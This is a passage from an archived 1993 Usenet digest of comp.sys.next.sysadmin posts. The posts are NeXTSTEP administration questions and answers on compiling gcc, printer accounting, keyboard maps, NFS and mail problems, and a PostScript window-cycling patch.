Now, I tried having enquire.c compiled and linked by cc but that only moved the
problem to a later stage. From what I understand the problem is in the linking
of libgcc2.a. Anything which is linked using ./xgcc at this stage results in
the same ld error. I have found that NXArgc and NXArgv are declared in
<defaults/defaults.h> as :
extern int NXArgc;
extern char **NXArgv;
while environ is declared in <bsd/libc.h> as
extern char **environ;
I tried to link libgcc2.a using -lsys_s and -lNeXT_s following the advice of
Vince DeMarco (thanks) but that did not seem to help.
What is all the more frustrating is that a couple of people have already
mentioned that they compiled gcc-2.3.3 without any problems on 3.0 which
started to make me suspect my system. However, a diff comparison between the
CD and the hard drive libraries and headers did not show any differences.
I am starting to run out of options ... I am even entertaining the thought of
reinstalling 3.0. I would really appreciate some advice on how to compile
gcc-2.3.3 or how to test that my cc libraries are not at fault. Thanks in
advance for your help.
Alexander V. Konstantinou akonstantino@macalstr.edu
Math/CS Student Systems Manager akonstan@math.macalstr.edu
Macalester College (NeXT mail OK in math)
1600 Grand Ave. St.Paul MN 55105 BITNet akonstantino@macalstr
Newsgroups: comp.sys.next.sysadmin
From: dmm0t@rincewind.mech.virginia.edu (David Meyer)
Subject: Re: wurachive ftpd and 3.0
Message-ID: <C5CpyH.8vr@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
References: <1q4peiINNqut@senator-bedfellow.MIT.EDU>
Date: Mon, 12 Apr 1993 03:35:05 GMT
In article <1q4peiINNqut@senator-bedfellow.MIT.EDU> Matthias Imhof <gondwana@basalt.mit.edu> writes:
>does anyone know what kind of ftp deamon NeXT used for 3.0? do we all have a
>compromised version? is there any cause to worry?
>
> ===========================================================================
> CA-93:06 CERT Advisory
> April 9, 1993
> wuarchive ftpd Vulnerability
>
Standard NeXT ftpd is not the wuarchive ftpd.
I have no idea what the vulnerability is, but the newest version of
wuarchive-ftpd fixes it, and it is available in
wuarchive.wustl.edu:/pub/packages/wuarchive-ftpd
It claims to work under NS3.0, and I am currently building it.
Dave
--
David M. Meyer Mechanical & Aerospace Engineering
dmm0t@rincewind.mech.virginia.edu University of Virginia
NeXTmail ok
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.misc
From: eps@shell.portal.com (Eric Schwartz)
Subject: Dvorak keyboards?
Message-ID: <C5CspE.Awq@unix.portal.com>
Followup-To: comp.sys.next.sysadmin
Sender: news@unix.portal.com
Organization: Portal Communications Company
Date: Mon, 12 Apr 1993 04:34:24 GMT
Has anyone had any luck turning their NeXT keyboards into Dvorak format?
I picked up a Dvorak.keymapping from the archives ages ago, and it appears
to be in the right place (/NextLibrary/Keyboards), but Preferences
tells me "Can't use that keyboard file" when I click on the Dvorak entry
in Keyboard Preferences.
Thanks,
Eric
eric@whyanext.com
:write
--
Eric Schwartz
eps@shell.portal.com
Newsgroups: comp.sys.next.sysadmin
From: andylee@oahu.cs.ucla.edu (Andy Lee)
Subject: Re: Dvorak keyboards?
Message-ID: <1993Apr12.054856.25846@cs.ucla.edu>
Sender: usenet@cs.ucla.edu (Mr Usenet)
Organization: UCLA, Computer Science Department
References: <C5CspE.Awq@unix.portal.com>
Date: Mon, 12 Apr 93 05:48:56 GMT
eps@shell.portal.com (Eric Schwartz) writes:
>
>Has anyone had any luck turning their NeXT keyboards into Dvorak format?
>I picked up a Dvorak.keymapping from the archives ages ago, and it appears
>to be in the right place (/NextLibrary/Keyboards), but Preferences
>tells me "Can't use that keyboard file" when I click on the Dvorak entry
>in Keyboard Preferences.
>
I put mine in my /Local/Library/Keyboards... dunno if that makes
any difference... or perhaps the Dvorak.keymapping you have is for
NS2.1 and you need a newer version?
--
# Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks #
# andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer #
# (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. #
# (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG #
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: setgroups setgid problems
Message-ID: <1993Apr12.062503.2236@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1q5rjg$n1u@network.ucsd.edu>
Date: Mon, 12 Apr 1993 06:25:03 GMT
Naive guesses:
The su program isn't set-uid root (su pointing to
distribution su.wheel?)
You're trying to execute from a filesystem mounted with
the nosuid option (misconfigured NetBoot client?)
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Floppy disk causes panic!
Message-ID: <1993Apr12.063027.2432@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993Apr10.213543.24952@worldbank.org> <1993Apr11.005555.490@bluerose.com>
Date: Mon, 12 Apr 1993 06:30:27 GMT
I'm told that inserting a 386BSD diskette in a machine running
3.0 panics.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: woo@ornl.gov (John W. Wooten)
Subject: Printer Headers
Message-ID: <1993Apr12.140939.4378@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Mon, 12 Apr 1993 14:09:39 GMT
We have a classroom with 12 NeXTs and 4 printers that are available
from any NeXT. How do I get Header Pages printed with userid or
Computer name on them so that the users can locate their printout?
- - - - - - - - -
J. W. Wooten
From: goldly@u.washington.edu (Lloyd P. Goldwasser)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Dvorak keyboards?
Date: 12 Apr 1993 16:26:49 GMT
Organization: University of Washington
Message-ID: <1qc589INNbts@shelley.u.washington.edu>
References: <C5CspE.Awq@unix.portal.com>
In article <C5CspE.Awq@unix.portal.com> eps@shell.portal.com (Eric Schwartz)
writes:
> Has anyone had any luck turning their NeXT keyboards into Dvorak format?
> I picked up a Dvorak.keymapping from the archives ages ago, and it appears
> to be in the right place (/NextLibrary/Keyboards), but Preferences
> tells me "Can't use that keyboard file" when I click on the Dvorak entry
> in Keyboard Preferences.
I've had no trouble with either 2.x or 3.0 dvorak.keymapping files in either
/NextLibrary/Keyboards or ~/Library/Keyboards. I can send you my versions
to play with if you would like.
Lloyd Goldwasser
goldwalp@zoology.washington.edu
From: steve@estel.uindy.edu (Steve Spicklemire)
Newsgroups: comp.sys.next.sysadmin
Subject: nfs server goes away
Date: 12 Apr 1993 18:39:19 GMT
Organization: Truevision Inc., Indianapolis, IN
Distribution: world
Message-ID: <1qcd0nINNe8h@epic.truevision.com>
Hi,
I don't know if this is a problem with our network, or the way I
have my NeXT configured, but it's weird. I have a disk mounted from across
campus using NFS. I mounted it with NFS manager, nothing special. Every
now and then it hangs and I get the following in the console:
NFS server elrond not responding still trying
If I 'ping' the server from the terminal window at this point I get
nothing! Nobody home. Now, if I roll my chair 3 feet to my clunky old PC
and run (NCSA) telnet from DOS to the server, bingo I get through, *and*
my ping (from the NeXT) starts seeing packets, *and* the console reads:
NFS server elrond ok
Why sould running telnet on the PC suddenly allow the NeXT to 'see' the
server? Is this a router problem? Any ideas? Thanks!
-steve
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: gerben@rna.indiv.nluug.nl
Subject: A question for hardware guru's
Message-ID: <1993Apr12.203305.11579@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Mon, 12 Apr 1993 20:33:05 GMT
I have a 25MHz 040 upgraded original cube with OD. Internally, it has a Maxtor
340MB drive (currently set to SCSI ID 2) Attached to it on the SCSI are:
1 DEC 3.5 inch 1GB drive (SCSI ID 1) (boot disk)
1 NeXT CD-ROM (SCSI ID 3)
1 PLI SuperFloppy 2.8 (SCSI ID 4) (SCSI Terminator on)
in that order.
This setup works fine. However, I do not use the Maxtor, and I want to move it
into another machine.
My questions are therefore:
1. What are exactly the things I have to do to remove the Maxtor and
keep a working system? I am thinking about details I don't know anything about
like SCSI termination and such. What cables do I detach and what do I leave in
place? Etc.
2. Suppose I want to put the DEC inside my cube. How do I go about
power, SCSI termination and such?
Help is greatly appreciated. Thanks in advance.
--Gerben
--
Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539
"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
Newsgroups: comp.sys.next.sysadmin
From: mo@mg.stu.rpi.edu (Monish Gopinath)
Subject: Printers?
Message-ID: <l7p5ky@rpi.edu>
Date: Tue, 13 Apr 1993 01:36:50 GMT
Are they any laser printers other than the NeXT laser printer which works
well with a NeXT station? Any in the $1000 range? Please reply directly.
Thank you.
Newsgroups: comp.sys.next.sysadmin
From: antoine@arrakis.osd.ulaval.ca (Antoine Gautier)
Subject: developer's kit installation: did it happen to you too?
Message-ID: <1993Apr13.020743.14018@cerberus.ulaval.ca>
Sender: news@cerberus.ulaval.ca
Organization: Universite Laval
Date: Tue, 13 Apr 1993 02:07:43 GMT
Hi world
Has anyone had troubles installing the developer's kit with the 3.0 upgrade? I did
my upgrade by reformating the drive from scratch and successfully installed all but
the developer's kit -- got an error after about 5 minutes of installation and it
aborted (errors while installing). Some of it was installed, I guess some is
missing. Do I have a bad CD?
Thks!
--
+-------------------------------------------------------+
| Antoine Gautier |
| Departement OSD, FSA |
| Universite Laval, Quebec, PQ |
+-------------------------------------------------------+
Disclaimer: I wish my employer had opinions... :+)
Newsgroups: comp.sys.next.sysadmin
From: amon@Xenon.Stanford.EDU (Laurent Amon)
Subject: Cmd-Alt-(Up|Down)Arrow workspace hack for 3.0
Message-ID: <1993Apr13.142828.17366@CSD-NewsHost.Stanford.EDU>
Keywords: hack,patch,workspace
Sender: news@CSD-NewsHost.Stanford.EDU
Organization: Computer Science Department, Stanford University.
Date: Tue, 13 Apr 1993 14:28:28 GMT
About a year ago, Robert Tobler wrote a hack that made it possible to
cycle through windows AND activate the new window and corresponding application
using Cmd-Alt-(Up|Down)Arrow. [And if you don't know it yet, using
Cmd-(Up|Down)Arrow will cycle without changing the focus].
Well, he wrote that under NS2.1, and I took the time last night
to port it to NS3.0. It wasn't very difficult, since that part of the code
hadn't changed. However, NeXT did remove all commentaries and indentation
in the package. Here is a patch for this, just below Robert's comments to
his post. All usual diasclaimers apply. Don't forget to keep a copy of the
old package. This has only been Berkeleyzely tested. In case of a problem,
login as 'console' (boot single user in the worst case) and reinstall
the old package.
To install it, save the patch below as 'patchfile', cd to
/usr/lib/NextStep, and do 'patch < patchfile'.
Robert Tobler's post of old:
>
> Thanks to David Kosi, who sent me his Point-to-Focus Hack, I was able to
> rewrite my Hack, so that Command-Alternate-UpArrow and
> Command-Alternate-DownArrow now correctly cycle through the windows.
> These two key-combinations now activate the new Window AND the owning
> application. (i.e. you don't need to use the mouse to switch applications
> anymore!!)
>
> WARNING:
> If you install this hack,
> 1. backup your old '/usr/lib/NextStep/windowPackage.ps', and
> 2. create a possibility to boot from another drive.
> (This in order to be able to reverse the changes if you should make a mistake.)
>
> DISCLAIMER:
> Make the changes at you own risk. I refuse to give any warranty for damages
> that arise from applying this hack.
>
> [...actual NS2.1 patch deleted]
>
> Robert F. Tobler
*** Now the patch itself:
*** windowPackage.ps.orig Thu Jul 30 06:47:25 1992
--- windowPackage.ps Mon Apr 12 19:18:01 1993
***************
*** 1028,1033 ****
--- 1028,1061 ----
5 -1 roll pop 0 5 1 roll
activeApp exch /postByContext winexec
} _NXDefProc
+ /activateAppWithTopWindow {
+ true 0 /getWindows winexec
+ false exch {
+ dup currentwindowlevel
+ dup //mainMenuLevel gt exch
+ //dockLevel lt or {
+ dup currentwindowdict
+ dup null ne {
+ /icon get 1 ne {
+ true exit
+ } if
+ }{
+ pop
+ } ifelse
+ } if
+ pop
+ } forall
+ {
+ dup /activateByWindow winexec
+ dup currentwindowbounds exch pop add
+ 1 3 1 roll 0 0 5 index 0 0
+ 2 index currentowner
+ 9 copy /transmitEvent winexec
+ 2 9 1 roll /transmitEvent winexec
+ pop pop
+ } if
+ /returnWindows winexec
+ } _NXDefProc
/_handleCommand {
mark 10 1 roll
1 index -16 bitshift
***************
*** 1058,1063 ****
--- 1086,1094 ----
} /revForall winexec
cleartomark
/returnWindows winexec
+ 5 index //Alternatemask and 0 ne {
+ /activateAppWithTopWindow winexec
+ } if
}{
dup 175 eq {
true 0 /getWindows winexec
***************
*** 1075,1080 ****
--- 1106,1114 ----
} forall
cleartomark
/returnWindows winexec
+ 5 index //Alternatemask and 0 ne {
+ /activateAppWithTopWindow winexec
+ } if
}{
pop
activeApp true /postByContext winexec
---
Laurent Amon |
amon@cs.stanford.edu | So far, the universe is winning.
amon@lix.polytechnique.fr |
Newsgroups: comp.sys.next.sysadmin
From: wampner@acme.ucf.edu (Eric Wampner)
Subject: Question about DialUpIP (quick).
Message-ID: <1993Apr13.143857.10724@cs.ucf.edu>
Summary: a quickie
Sender: news@cs.ucf.edu (News system)
Organization: IST, University of Central Florida, Orlando
Date: Tue, 13 Apr 1993 14:38:57 GMT
Okay, I have DialUPip running on my Next 2.1. I have had no
problems and thanks to the author (whose name I can't spell without
finding the docs)
I am confused though, I have two nexts and have set up each differently
and both appear to work:
Question: What function does the "linking" IP Address serve for machines
in the same domain?
I have machine next1, it has a router link to the outside world, and
its netstat looks like this:
Destination Gateway Flags Refs Use Interface
132.170.192.8 next1 UH 0 0 slip0
next1 localhost UH 8 8586 lo0
localhost localhost UH 2 14612 lo0
default 132.170.192.254 UG 4 95673 en0
132.170.192 next1 U 18 17721847 en0
As you can see I am using the same IP for the gateway as is the local
machine. Here is next3, which I set up more like the docs said to:
Destination Gateway Flags Refs Use Interface
132.170.192.9 132.170.192.11 UH 1 8218 slip0
localhost localhost UH 1 862 lo0
132.170.192.12 localhost UH 0 0 lo0
132.170.192.100 132.170.192.12 UH 0 0 slip1
default 132.170.192.254 UG 2 86757 en0
132.170.192 next3 U 24 23298376 en0
Which way is more correct? Or does the problem not show up in
my somewhat limited scenario?
Thanks in advance.
Eric Wampner
wampner@acme.ucf.edu
From: penney@cl-next4.cl.msu.edu (Chris Penney)
Newsgroups: comp.sys.next.sysadmin
Subject: Color Printer
Date: 13 Apr 1993 15:54:37 GMT
Organization: Michigan State University
Message-ID: <1qennt$l1t@msuinfo.cl.msu.edu>
Is there any way to limit the amount of CPU the Color Printer Grabs when
it prints. When anything gets sent to it the machine dies for way to
long.
-=Chris=-
penney@cl-next4.cl.msu.edux
Newsgroups: comp.sys.next.sysadmin
From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: Continuation/Summary: Printer (# of pages) accounting
Message-ID: <1993Apr13.150231.23751@linus.mitre.org>
Keywords: AUGH! page accounting still not working NeXT printer
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
References: <C5B53q.70G@ux1.cso.uiuc.edu>
Date: Tue, 13 Apr 1993 15:02:31 GMT
>In article <1993Apr9.174047.22520@linus.mitre.org> jblue@ocotillo.mitre.org
>(Jason D. Blue) writes:
>
> Hi there,
>
> Is there an easy way to keep track of the number of pages printed on
> the NeXT printers? Using the printcap "af" option provides
> accounting of the print jobs (i.e. "1.00 ocotillo:jblue"), but
> not of the number of pages printed.
>
> Also, on other printers, you can find out the number of pages
> printed since the printer was installed - usually listed on the
> banner page produced after powerup. Can the NeXT printer
> provide this information as well?
>
>I forgot to mention - I am using NeXTSTEP 2.1, and not 3.0.
Thank you for all of the responses. In summary, The man pages for
transcript and pac should be consulted for page accounting. Also,
the "if" and "af" printcap entries in NetInfo must be specified. Example in
NeXTSTEP 3.0 (for 2.1 example, see my configuration below):
:af=/usr/adm/printer-accounting: \
:if=/usr/lib/NextPrinter/Server/prserver: \
However, I am still having the problem I first described, as
follows:
1. I set my "af" entry. The "if" entry was already specified
(default of 2.1?). My configuration (in NetInfo) is as follows:
Local_Printer: \
:af=/usr/adm/Local_Printer.acct:if=/usr/lib/NextPrinter/npcomm: \
:gf=/usr/lib/NextPrinter/psgf:nf=/usr/lib/NextPrinter/psnf: \
:tf=/usr/lib/NextPrinter/pstf:rf=/usr/lib/NextPrinter/psrf: \
:vf=/usr/lib/NextPrinter/psvf:cf=/usr/lib/NextPrinter/pscf: \
:df=/usr/lib/NextPrinter/psdf: \
:BannerAfter=/usr/lib/NextPrinter/banner.pro: \
:note=printer in C227:ty=NeXT 400 dpi Laser Printer:lp=/dev/null: \
:sd=/usr/spool/NeXT/Local_Printer:sharedTo=/: \
:sharedAs=ebony_printer:
2. After restarting and printing, I noticed that the "af" file,
/usr/adm/Local_Printer.acct, was not being created. So I
touched it, gave rw access to owner and group, and changed
ownership to root and the daemon group ( got this information out of
a Unix Sys Admin book).
3. The /usr/adm/Local_Printer.acct was now being updated after
each print job, as follows:
1.00 ebony:root
1.00 ebony:root
1.00 ebony:root
1.00 ebony:root
1.00 ebony:root
However, not all the jobs were 1 page long - some were 5-6 pages long.
Any ideas?
Thank you,
Jason D. Blue
NeXT System Admin.
The MITRE Corporation
jblue@mitre.org
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo)
Newsgroups: comp.sys.next.sysadmin
Subject: telnetd problem?
Date: 13 Apr 1993 11:35:14 -0500
Organization: Educational Computing Network
Distribution: world
Message-ID: <1qeq42$7g@uxa.ecn.bgu.edu>
When I telnet into my NeXT, newlines get screwed up:
>romcore# finger
>Login Name TTY Idle When Office
> root
>root
> co 17d Sun 11:53
> root root p1 1:24
>Sun 11:5
>3
> root root p2 1:24 Mon 22:56
> pred Predrag S.
>Bundalo
> p3 Tue 11:25
> romcore#
This is a problem I see on all NeXT's I have access to. It even happens
when I telnet to romcore from romcore. The above problems don't exist
if I use rlogin, though. And there's a good reason I can't use rlogin
that's not relevant to this message.
Is there a fix for this problem?
Best,
Pred Bundalo
Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
Newsgroups: comp.sys.next.sysadmin
From: doug@happy.vf.ge.com (Doug Hughes)
Subject: Major weirdness in console.log and messages
Message-ID: <1993Apr8.205638.7779@knight.vf.ge.com>
Followup-To: comp.sys.next.sysadmin
Sender: news@knight.vf.ge.com
Organization: GE Aerospace - VF
Date: Thu, 8 Apr 1993 20:56:38 GMT
If i make an unsuccessful login attempt on the console on a next..
Everything is okay, until I login.. once I am logged in, the /private/tmp
console.log starts filling up with messages about the last LOGIN FAILURE
or any authorization notice as soon as I'm logged in.. it's the same
messages over and over and over again.. I'm talking megs per minute
here. I have no idea why.. Has anyone experienced this?
I have the NeXT setup as an NIS client and it is a standalone system.
It is also running autonfsmount.
I keep having to reboot the machine because quickly the machine's file
system is full and the ONLY way to recover is to reboot.
--
_____________________________________________________________
Doug Hughes
System/Net Admin - GE Aerospace, Valley Forge, PA
doug@happy.vf.ge.com or hughes@sde.mdso.vf.ge.com
Newsgroups: comp.sys.next.sysadmin
From: pmelo@pombo.inescc.pt (Paulo Melo)
Subject: WANTED: Sendmail with IDA for NeXTstep 3.0
Message-ID: <1993Apr13.154657.10921@pombo.inescc.pt>
Summary: WANTED Sendmail with IDA extensions for NeXT
Keywords: NeXT sendmail IDA NeXTstep 3.0
Organization: INESC - Nucleo de Coimbra
Date: Tue, 13 Apr 1993 15:46:57 GMT
Hello Ne(X)Ters
I am looking for a version of sendmail with IDA extensions that
compiles on NeXTstep 3.0. The ability to understand NeXT aliases
would be nice, but I can live without that. This machine is to
be a mailserver on a small (mixed, and mostly non-NeXT) network and I
would like something more than the default sendmail.cf that NeXT brings.
I saw that there is a BETA release (for NeXTstep 2.0) of sendmail with
IDA by Nigel Metheringham, but I don't know of any non-beta
release after that, and don't have Nigel's email address.
Do anyone know if such release exists? The version I know of is
sendmail-ida-BETA1.tar.Z, from May 21, 1992. Does anyone know of a later
release?
Also, does anyone know of a NeXT MTA that allow sending to DECnet
hosts (DECnet mail)?
Thanks
Paulo Melo
INESC/Coimbra
--
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pmelo@inescc.pt | is #1 across the earth..." Prefab Sprout
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: mtab files in /etc = what are they???
Date: 13 Apr 1993 19:45:54 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1qf59i$6e4@zaphod.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
This keeps accumulating in my /etc:
200823 -rw-rw-r-- 1 root 0 Jan 29 09:31 mtab000299
201019 -rw-rw-r-- 1 root 0 Mar 4 10:44 mtab000315
200820 -rw-rw-r-- 1 root 0 Jan 28 16:23 mtab000366
201251 -rw-rw-r-- 1 root 0 Jan 22 13:57 mtab000435
200720 -rw-rw-r-- 1 root 0 Jan 28 15:26 mtab000449
and so forth...
This is something new. It didn't happen before. Can I remove them by hand?
What the heck are they? Any suggestions? Thanks. Take care...Paul
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin
From: wching@csmt.music.yale.edu (William Ching)
Subject: Re: Continuation/Summary: Printer (# of pages) accounting
Message-ID: <1993Apr13.201824.28483@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale School of Music, Center for Studies in Music Technology
References: <1993Apr13.150231.23751@linus.mitre.org>
Date: Tue, 13 Apr 1993 20:18:24 GMT
Jason D. Blue (jblue@ocotillo.mitre.org) wrote:
> [question re: printer accounting, plus answer...]
> Thank you,
> Jason D. Blue
> NeXT System Admin.
> The MITRE Corporation
> jblue@mitre.org
I have the same problem, but I haven't been able to get printer accounting
working. My Netinfo printcap entry is as follows:
name: RealTech
lf: /usr/adm/lpd-errs
sf:
sb:
lp: /dev/null
mx: 0
if: /usr/lib/NextPrinter/Server/prserver
cf: /usr/lib/NextPrinter/Server/pscf
df: /usr/lib/NextPrinter/Server/psdf
gf: /usr/lib/NextPrinter/Server/psgf
nf: /usr/lib/NextPrinter/Server/psnf
rf: /usr/lib/NextPrinter/Server/psrf
tf: /usr/lib/NextPrinter/Server/pstf
vf: /usr/lib/NextPrinter/Server/psvf
ty: RealTech Laser 400 dpi
note: CSMT Laser Printer
nxformat: 3.0
sd: /usr/spool/NeXT/RealTech
sharedAs: CSMT_Laser
sharedTo: /
af: /usr/adm/RealTech.acct
_acceptsBinary: 1
-- CUT HERE --
As you can see, all the relevant fields I can think of are here. Note that
this is an AppleTalk printer. I'm running NeXTStep 3.0. This problem is
beginning to get serious, as we need to keep track of print jobs coming
through that laser printer. Thanks for the help in advance.
WC
-----------------------------------------------------------------------------
William Ching | wching@csmt.music.yale.edu
Yale University Department of Music | Center for Studies in Music Technology
"To the insane the sane must seem insane"
From: jmm@king.econ.lsa.umich.edu (Jeffrey K. MacKie-Mason)
Newsgroups: comp.sys.next.sysadmin
Subject: ISDN configuration
Date: 13 Apr 1993 20:33:05 GMT
Organization: University of Michigan - College of Literature, Science, and TheArts
Distribution: world
Message-ID: <1qf822INN3hs@controversy.math.lsa.umich.edu>
Keywords: ISDN,networking
I now have ISDN extenders and "live" ISDN phone lines all set up for two NeXTs
(one at home, not on a network, and one at the office, on the Internet).
I have followed the configuration instructions in the Sys Admin and Network
Admin manual.
I have tried connecting from my remote machine to the network machine using
both of the methods described in the manual: (a) by clicking on the phone on
the loginwindow; and (b) by logging in locally and using PhoneConnector.
In both cases I get the same result: the machine dials (I can hear it), the
panel says "Dialing..." and then nothing happens. I have let it sit in this
state for over 20 minutes with no change.
My best guess is that my machine at the office isn't picking up the line, but I
have no idea how to troubleshoot this, or even begin to guess what is going
wrong.
Help!
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Univ. of Michigan phone: 313-764-7438
Ann Arbor, MI 48109-1220 fax: 313-763-9181
Newsgroups: comp.sys.next.sysadmin
From: cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur)
Subject: Re: Using Solaris 2.1 as mail host to BSD machines
Message-ID: <1993Apr13.210812.18756@blabel.ppp.informatik.uni-muenchen.de>
Organization: Home of BlackLabel
References: <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de> <C5BGs5.Mpr@cosy.sbg.ac.at>
Date: Tue, 13 Apr 1993 21:08:12 GMT
bnocker@cosy.sbg.ac.at (Bernhard Nocker) writes:
>In article <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de>
>cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur) writes:
>> matthews@oberon.umd.edu (Mike Matthews) writes:
>>
>> >We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT
>> >and SunOS 4.x machines. I've got /var/mail exported to everybody, who's
>> >mounting it as /usr/spool/mail, and that part seems to work OK.
>>
>> >The problem is, even though the sendmail.cf file (which is a main.cf file
>> >with the asked-for values) specifies mode 0600 for the files, they come out
>> >as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very
>secure.
>>
>> >2) what's up with mail? I have no idea what's going on there.
>>
>> Ok, we had the same problems here with Solaris 2.1 as a file server for our
>> NeXTStations. Doing a chown (and sendmail does a chown) yields in a wrong
>> filemode for that file. All bits are set. After tracing the network traffic
>> it was clear.
>[...]
>>
>> Here is a binpatch for the 3.0 mach kernel (NeXT Mach 3.0: Wed Jul 29
>19:43:28
>> PDT 1992). I don't know if there is also a problem with 2.1, but I think a
>> similiar patch will do it also for 2.1 [This patch ONLY applies to 3.0!!!].
>>
>[...]
>I do not agree that the above patch is a solution.
>I am not sure that this problem has anything to do with Solaris2.1 since we use
>
Hmmm. The patch is MAYBE not a very good solution but ist IS one. Mike Matthews
has patched his mach and it works also for him...
>SunOS4.1.x and here the same problem (if it is one) should occur.
>Chmod of the users mail file should in my opinion only occur when outgoing mail
>to inhouse users are treated by NeXTs sendmail. But this is not recommended.
>
Hm. It is definitely a misbehaviour of the NFS and has nothing to do with
sendmail (ok only insofar, that sendmail does an chOWN (as I said...)). We
also realized the (NFS-)problem with HPUX (8.0x). But on HPUX it does not have
the same effect.
cb
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[ cbaur@informatik.uni-muenchen.de | Spread by people and places like these ]
From: slv0y@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Printing WITH fonts automatically...
Message-ID: <1993Apr13.143959.66145@cc.usu.edu>
Date: 13 Apr 93 14:39:59 MDT
Organization: Utah State University
I remember seeing some discussion awhile back about how just printing a file
does not download the fonts to the printer (nonNeXT), and you have to save a
postscript file "for the specified printer w/fonts". Has anyone found a way
around this? Is there ANY way to set the default for the print panel to
download the fonts for the specified printer? This is a major pain having
to save a postscript file, then send it off to the printer to be printed.
Has anyone put together a nifty script that would say, any file saved into
a certain directory get sent off automatically to the printer and then
deleted? I am not much of a Unix guru, so I don't know how to acomplish
this. Any help would be greatly appreciated.
John
sl05r@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
From: antoine@arrakis.osd.ulaval.ca (Antoine Gautier)
Subject: generating clicks from the keyboard
Message-ID: <1993Apr14.010937.296@cerberus.ulaval.ca>
Sender: news@cerberus.ulaval.ca
Organization: Universite Laval
Date: Wed, 14 Apr 1993 01:09:37 GMT
Is there a way/hack to generate a mouse double (tripple) click from a key (like esc)
or a key combination?
--
+-------------------------------------------------------+
| Antoine Gautier |
| Departement OSD, FSA |
| Universite Laval, Quebec, PQ |
+-------------------------------------------------------+
Disclaimer: I wish my employer had opinions... :+)
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy))
Subject: Re: How to make "lpr -d file.dvi" work
Message-ID: <HARDY.93Apr13205810@golem.ps.uci.edu>
In-reply-to: jwdb@dutnak2.tudelft.nl's message of Tue, 6 Apr 1993 16:29:48 GMT
Newsgroups: comp.sys.next.sysadmin
Organization: Department of Physics, UC Irvine, CA 92717-4575, USA
References: <jwdb.733149386@dutnak2> <1993Apr5.172145.7759@kakwa.ucs.ualberta.ca>
<jwdb.734113788@dutnak2>
Date: 14 Apr 93 03:58:14 GMT
In article <jwdb.734113788@dutnak2> jwdb@dutnak2.tudelft.nl (Jan-Willem de Bruijn) writes:
|| The whole point of this exercise was to allow emacs users to print
|| dvi files with "one" keystroke. It then performs "lpr -d".
If that is the whole point there are two simpler solutions:
1. Edit the tex-mode.el file to use dvips as the print command:
(defvar TeX-dvi-print-command "dvips" "\
*Command string used by \\[TeX-print] to print a .dvi file.")
(defvar TeX-show-queue-command "lpq" "\
*Command string used by \\[TeX-show-print-queue] to show the print queue
that \\[TeX-print] put your job on.")
(defvar TeX-default-mode (quote plain-TeX-mode) "\
*Mode to enter for a new file when it can't be determined whether
the file is plain TeX or LaTeX or what.")
(defvar TeX-command "tex -V" "\
The command to run TeX on a file. The name of the file will be appended
to this string, separated by a space.")
(the last to pipe output directly to TeXView).
2. Use the auc-tex package (available from iesd.auc.dk), which allows
you to TeX, View, and Print from emacs. There is a NeXT
customizationin the tex-site.el file of auc-tex 7.0.
--
Hardy
-----
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e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET
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Newsgroups: comp.sys.next.sysadmin,comp.mail.elm
From: edwin@cs.ruu.nl (Edwin Kremer)
Subject: Re: compiling elm 2.4 under NS 3.0
Sender: network-news@cs.ruu.nl
Message-ID: <1993Apr14.090113.11157@cs.ruu.nl>
Date: Wed, 14 Apr 1993 09:01:13 GMT
References: <1psq4a$80b@news.intercon.com>
Organization: Utrecht University, Dept. of Computer Science
In <1psq4a$80b@news.intercon.com> disc@vector.intercon.com (David Casti) writes:
| I'm trying to compile elm version 2.4 under NeXTStep 3.0 and it dies
| consistently on
|
| cc -bsd -fwritable-strings -I../hdrs -c add_site.c
| ./hdrs/defs.h:505: header file 'unistd.h' not found
| *** Exit 1
| Stop.
I already replied to David, but there seem to be more people around
having this problem, so I'd like to remind you that Jess Anderson
(anderson@macc.wisc.edu) did a good job in getting this straightened
out properly. You can get his suggestions from our archive server --
details follow... works like a charm on my NeXT @ $HOME :-)
